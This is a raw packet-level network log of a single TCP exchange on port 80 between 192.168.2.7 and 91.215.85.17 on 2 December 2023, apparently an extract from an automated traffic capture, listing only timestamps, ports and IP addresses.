Dec 2, 2023 18:01:41.915882111 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915893078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915906906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915915012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915926933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915930986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.915930986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.915935993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.915951967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.915970087 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.915991068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916003942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916016102 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916027069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916038036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916044950 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916064024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916064024 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916079998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916084051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916089058 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916102886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916110992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916126013 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916132927 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916150093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916150093 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916166067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916168928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916173935 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916182041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916277885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916277885 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916306019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916321039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916332960 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916340113 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916399002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916399002 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916420937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916429996 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916443110 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916454077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916465998 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916476965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916480064 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916491032 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916501045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916512966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916517019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916517019 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916520119 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916529894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916542053 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916549921 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916558027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916635036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916635036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916657925 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916671038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916683912 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916692019 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916722059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916722059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916829109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.916888952 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.916903973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917085886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917093992 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917110920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917125940 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917166948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.917166948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.917186975 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917200089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917262077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.917479038 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917515039 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917537928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.917551994 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917720079 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.917948008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917957067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917969942 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917978048 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.917984009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918004036 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918011904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918020010 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918028116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918035984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918077946 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918078899 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918175936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918184042 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918201923 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918210030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918222904 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918241978 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918260098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918261051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918272018 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918278933 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918289900 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918302059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918339968 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918359995 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918368101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918380022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918386936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918399096 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918422937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918422937 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918446064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918453932 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918466091 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918473005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918481112 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918524027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918524027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918524027 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918544054 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918553114 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918564081 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918574095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918589115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918601990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918615103 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918621063 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918625116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918638945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918667078 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918677092 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918685913 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918721914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918721914 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918742895 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918752909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918766022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918775082 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918787003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918795109 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918806076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918824911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918824911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918824911 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918833971 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918864012 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918872118 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918879986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.918909073 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.918977976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919002056 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919009924 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919020891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919068098 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919075966 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919092894 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919132948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919132948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919317961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919326067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919341087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919348955 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919363022 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919369936 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919382095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919390917 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919399023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919416904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919416904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919416904 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919439077 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919446945 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919502020 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919620991 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919673920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919682026 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919687986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919713974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919713974 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919727087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919735909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919819117 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.919912100 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919971943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.919981003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920001030 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920007944 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920018911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920026064 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920039892 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920053959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920053959 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920054913 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920072079 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920077085 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920149088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920380116 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920523882 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920531988 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920545101 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920552015 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920558929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920666933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920666933 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920921087 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920929909 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920942068 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.920979977 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.920999050 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921010017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921021938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921228886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.921228886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.921850920 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921859980 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921873093 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921911955 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.921936989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921945095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.921960115 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922002077 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922059059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.922059059 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.922075033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922087908 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922100067 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922108889 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922142982 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.922183990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.922221899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922326088 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.922910929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.922993898 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923002958 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923013926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923021078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923034906 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923042059 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923058033 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923058033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923058033 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923085928 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923141956 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923342943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923351049 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923367023 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923374891 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923407078 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923418045 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923429012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923429012 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923441887 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923449993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923456907 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923480034 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923525095 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923533916 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923546076 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923552036 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923563957 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923567057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923567057 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923589945 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923593044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923602104 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923616886 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923619986 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923676014 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923697948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923707008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923719883 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923727989 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.923762083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923762083 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.923835993 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924002886 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924468040 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924479008 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924536943 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924546003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924560070 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924566984 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924575090 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924602032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924602032 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924621105 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924628973 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924648046 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924654007 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924680948 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924726009 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924921989 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.924953938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924962044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924973965 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924983978 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.924995899 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925004005 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925015926 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925024986 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925035954 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925044060 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925045967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925045967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925045967 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925056934 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925065041 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925077915 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925087929 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925100088 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925107956 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925121069 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925128937 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925132990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925132990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925132990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925132990 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925136089 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925144911 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925153017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925160885 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925167084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925167084 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925168037 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925178051 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925185919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925214052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925214052 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.925251961 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925277948 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.925297976 CET	49713	80	192.168.2.7	91.215.85.17
Dec 2, 2023 18:01:41.926723003 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926733017 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926744938 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926753044 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926765919 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926773071 CET	80	49713	91.215.85.17	192.168.2.7
Dec 2, 2023 18:01:41.926795006 CET	49713	80	192.168.2.7	91.215.85.17
